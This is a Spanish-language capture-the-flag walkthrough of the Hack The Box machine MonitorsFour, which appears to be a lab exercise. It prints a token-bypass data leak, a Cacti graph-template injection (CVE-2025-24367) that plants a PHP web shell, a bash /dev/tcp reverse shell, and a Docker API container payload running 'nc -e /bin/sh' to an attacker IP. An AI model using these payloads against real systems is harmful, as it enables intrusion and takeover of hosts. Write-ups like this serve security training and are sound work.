Post

Monitors Four - Hack The Box

En este post resolveremos la maquina MonitorsFour de la plataforma Hack The Box, dónde encontraremos temas como Fuzzing, IDOR, RCE, Docker-wsl, etc.

Monitors Four - Hack The Box

Enumeración inicial con nmap

Mostramos los puertos abiertos usando la herramienta nmap:

sudo nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- 10.129.29.11 -oG Ports

Y se descubrieron los puertos: 80 y 5985 en su estado open.


En base a esos puertos abiertos, enumeramos la versión y servicio que corren bajo esos puertos:

sudo nmap -sC -sV -p 80,5985 10.129.29.11 -oN targeted

Detectamos que bajo el puerto 80 corre HTTP, con el servicio nginx y el puerto 5985 corre el servicio HTTP corriendo un objetivo Microsoft (windows).

Enumeración del servidor web (puerto 80)

Se registraron los siguientes datos del servidor web:

whatweb http://10.129.29.11/

Se muestra que existe un virtual host habilitado bajo el DNS monitorsfour.htb, entonces agregamos el nombre de dominio a la ruta del sistema /etc/hosts:

Se pudo observar un servidor web funcional corriendo bajo ese nombre de dominio:


Fuzzing de directorios ocultos

Lo que prosiguió fue hacer fuzzing de directorios en la web, esta maquina es dificultad baja, por lo que usamos un diccionario no tan complejo:

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u 'http://monitorsfour.htb/FUZZ' -ac

  • contact
  • login
  • user
  • forgot-password

Obtuvimos 4 rutas, pero de aquí no obtuvimos algo relevante, pero debemos tener en cuenta todo.

Recuerda, “All the pieces matter” - The wire.


Fuzzing de subdominios

Pasamos a la parte de enumerar los subdominios para verificar si hay alguno en existencia, seguimos usando la herramienta ffuf pero esta vez con un diccionario enfocado en subdominios:

ffuf -w ~/Diccionarios/subdomain_megalist.txt -u 'http://monitorsfour.htb' -H "Host: FUZZ.monitorsfour.htb" -ac

Localizamos el subdominio llamado cacti que ha respondido, por lo que lo agregamos a la ruta /etc/hosts:

Y esto fue lo que mostró dicho subdominio:

Cacti es una herramienta de monitoreo de red, la versión instalada es 1.2.28, la cuál es vulnerable a esto:

CVE-2025-66399

Esta vulnerabilidad requiere una sesión iniciada por algún usuario, en este caso no tenemos una sesión, por lo que buscamos otros modos de entrar.


Fuzzing de APIs en el servidor web

Recurrimos a el escaneo de posibles APIs por medio del fuzzing:

ffuf -w ~/Diccionarios/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://monitorsfour.htb/FUZZ' -ac

Detectamos varias rutas, y probandolas la que nos resultó interesante fue user:

Ya que nos arrojaba este mensaje, aquí parece que existe un parametro llamado “token” el cuál necesita recibir un valor para acceder a algo, así que para comprobar que el parametro existe, hicimos un fuzzing bajo ese parametro:

ffuf -w ~/Diccionarios/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://monitorsfour.htb/user?FUZZ=1' -ac

Indicando que deseamos escanear un paremetro, por eso se lo indicamos con el ‘?’ segudio del payload FUZZ, está en un valor 1 ya que es probable que siempre exista un valor 1.

Después del fuzzing encontramos lo siguiente:

un parametro llamado token, al verlo en la web vemos lo siguiente:

Al parecer el valor token 1 no es valido pero al menos el servidor acepto la petición, cambiando el valor del token a 0, sucede lo siguiente:

Explicación error de validación del parametro token

¿Y por qué sucedió esto?

Supongamos que por el lado de la web existe este código:

1
2
3
4
if token:
  validate_token(token)  
else:  
  return all_users()

En programación no solo el valor “false” signfica que es un valor falso, también existen otros elementos como:

  • 0 (el número cero)
  • "" (una cadena vacía)
  • None / null / undefined
  • [] (lista vacía)

Y lo que sucede en el código de la web, es que con el if token, solo pregunta “si el token es verdadero”, entonces llama a la función validate_token() para ver si ese token es valido, no verifica si realmente existe ese token.

Y como ponemos un “0”, el código detecta que el token 0 , es falso, por lo que hace bypass a la función validate_token(), pasandose directamente al else, que devuelve la lista de todos los usuarios.


Vulnerabilidad IDOR

Vemos que hay un positivo en el primer hash que aparentemente corresponde al usuario admin.

Pero al intentar acceder nos daba problemas con el usuario, así que notamos en el primer apartado de los datos que obtuvimos:

Que existia otro nombre llamado Marcus Higgins, así que probamos acceder con el usuario Marcus y entramos a la herramienta de cacti con dichas credenciales:


RCE (WebShell) - CVE-2025–24367

Explotaremos la vulnerabilidad que encontramos ya que tenemos acceso ahora.

Iremos a Templates>Graph y buscamos “Logged in Users”:

Y en el CVE, nos dice que la parte vulnerable es “Right Axis Label”:

En este punto usaremos la herramienta BurpSuite para interceptar esta petición al darle en “save”:

Podemos ver la petición interceptada, y el parametro que nos importa es “right_axis_label”, cambiaremos el valor “test”, procedimos a inyectar la siguiente instrucción:

1
2
3
test  
create my.rrd - step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200  
graph shell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`$_REQUEST[0]`;?>

En la linea de “create my.rrd”, creamos una base de datos…………

La petición no se puede poner tal como está, ya que esto generaría un error de sintaxis, lo que debemos hacer es URL-encodear los datos:

1
right_axis_label=test%0Acreate+my.rrd+--step+300+DS:temp:GAUGE:600:-273:5000+RRA:AVERAGE:0.5:1:1200%0Agraph+shell.php+-s+now+-a+CSV+DEF:out=my.rrd:temp:AVERAGE+LINE1:out:<?=`$_REQUEST[0]`;?>%0A

todo esto es en una sola linea, pero en formato URL-encode.

la petición se verá así:

Y el código malicioso que inyectamos creará una Web Shell, pero aún no se ha ejecutado el código, ya que debemos llamar a la gráfica en donde se almacenó el código, por lo que iremos a: Graps>DefaultTree>LocalLinuxMachine buscamos por “Logged in Users”:

Y le damos en el botón para ver la grafica, por detrás el código ha sido interpretado.

Y aquí nos cargaran los gráficos, y ahora navegamos a la ruta de nuestro archivo PHP que creamos gracias a la inyección:

http://cacti.monitorsfour.htb/cacti/shell.php?0=echo "Hi D4nsh"

Podemos apreciar que logramos obtener acceso a una Web Shell que nos permite ejecutar comandos a nivel de sistema.

Usando RCE para obtener una reverse Shell

Ahora vamos a obtener una shell directamente en nuestra terminal, para ello nos ponemos en escucha por algún puerto:

nc -nlvp 4444:

Y en otra sesión de terminal, vamos a crear un archivo llamado bash, que incluirá nuestra shell reversa:

1
2
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.254/4444 0>&1

Teniendo la reverse shell lista, lo que haremos será iniciar un servidor de archivos compartidos local en la ubicación actual donde se encuentra el archivo “bash”, este servidor se pondrá en el puerto 80:

python -m http.server 80

Vemos que está activo el servidor, esto nos sirve para que usando la Web shell del servidor cacti, poder obtener una shell inversa a nuestro equipo atacante.

curl 10.10.14.254/bash -o /tmp/reverse.sh

Ahora con curl lo que hicimos fue obtener la bash que creamos en nuestro equipo, y al ver el registro del servidor web local, pudimos confirmar que se descargo en el servidor cacti: Wait. That hostname 821fbd6a43fa looks suspicious. That’s a Docker container ID!

Ahora simplemente debemos ejecutar la shell para recibirla en nuestro puerto en escucha “4444”:

bash /tmp/reverse.sh

Y en nuestro listener netcat, vemos la shell obtenida:


Tratamiento TTY a la reverse Shell

Ahora para ir navegando con comodidad, haremos el tratamiento de la TTY para adaptar todo y no tener errores en nuestro entorno:

1
2
3
4
5
6
7
8
9
10
11
12
13
script /dev/null -c bash

CTRL + Z para suspender la Shell

stty raw -echo; fg
	
	reset
reset: unknown terminal type unknown
Terminal type? xterm

export TERM=xterm
export SHELL=bash

y la parte de ajustar la resolución de la pantalla:

en una terminal propia, sacamos las dimensiones con: stty size y en base a los resultados, las ponemos en la reverse shell:

stty rows 40 columns 135

Y ya tenemos nuestro tratamiento de la shell.


Obteniendo un usuario con mayores privilegios

Podemos apreciar que estamos conectados cómo el usuario www-data, pero seguido de eso tenemos una cadena de valores, esto es un ID de un contendor Docker, así que podemos intuir que estamos dentro de uno.

Procedemos a enumerar el sistema:

Estamos frente a un sistema WSL, que es windows for system linux, corre linux en windows sin necesidad de instalar muchas cosas, esto lo hace mediante un contenedor Docker.

Sabiendo esto, intentamos revisar llaves SSH pero estas eran inexistentes en este sistema.


Vulnerabilidad Docker WSL CVE-2025–9074

Enumeramos el entorno para confirmar que estamos dentro de un contenedor:

Se confirmo el entorno docker, así que se intento probar si de casualidad se tenía acceso a las APIs de docker haciendo una simple petición a la IP y puerto por defecto que usa docker para dichas API:

curl http://192.168.65.7:2375/version

Podemos ver que nos da una respuesta, esto da a entender que el contenedor actual tiene habilitado comunicarse con la API de docker directamente sin proporcionar contraseña de seguridad.

Creando nuestro contenedor con privilegios

En nuestra maquina local, creamos este archivo .json:

1
2
3
4
5
6
7
8
9
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "nc 10.10.15.110 4444 -e /bin/sh"],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/mnt/host_root"]
  },
  "Tty": true,
  "OpenStdin": true
}

Este código básicamente usa la imagen alphine, que es ligera y nos sirve para esto.

En la variable, Cmd, pasamos una ejecución shell que nos ejecutará una reverse shell en netcat a nuestra IP atacante por el puerto 4444.

Ponemos a correr un servidor local de archivos compartidos en python para compartir este archivo con la maquina objetivo.

Ahora solo está a la espera de captar el archivo, lo siguiente será iniciar el listener con netcat en el puerto 4444:

Después, en la maquina docker, vamos a descargar nuestro .json y almacenarlo en la ruta /tmp:

Ya hemos descargado el .json dentro de nuestra maquina victima:

Ahora solo queda crear un contenedor que nos ejecutará esto:

1
2
3
4
curl -X POST \  
  -H "Content-Type: application/json" \  
  -d @/tmp/container.json \  
  http://192.168.65.7:2375/containers/create?name=dannultyx

Hemos creado nuestro contenedor, y nos ha arrojado un ID.

Este ID lo usaremos para correr nuestro contenedor:

1
2
curl -X POST \  
  http://192.168.65.7:2375/containers/TU_ID/start

Ahora que corre, vemos en el listener, que se ha establecido la conexión como root:

Con esto hemos terminado esta maquina, MonitorsFour.

Informe final

IDOR: Se debe sanitizar la entrada de datos en las peticiones, de ser posible cambiar las medidas de seguridad, sobre todo en el código: if token: donde encontramos el mayor error, que solo validaba la existencia más no comprobaba el dato.

Cacti: Se requiere actualizar a una versión igual o superior a la 1.2.29, en el siguiente enlace se encuentra el reporte oficial: Cacti RCE

Docker WSL2: Establecer medidas de seguridad (Contraseñas y permisos de archivos), para evitar la comunicación directa con la API de docker y así evitar escalar privilegios dentro del contenedor.

Sugerencia: Usar contraseñas más seguras y cambiar las peticiones GET en la web principal por POST.

He creado un Script que automatiza la parte para obtener la webshell:

CVE-2025-24367-Cacti-Exploit

This post is licensed under CC BY 4.0 by the author.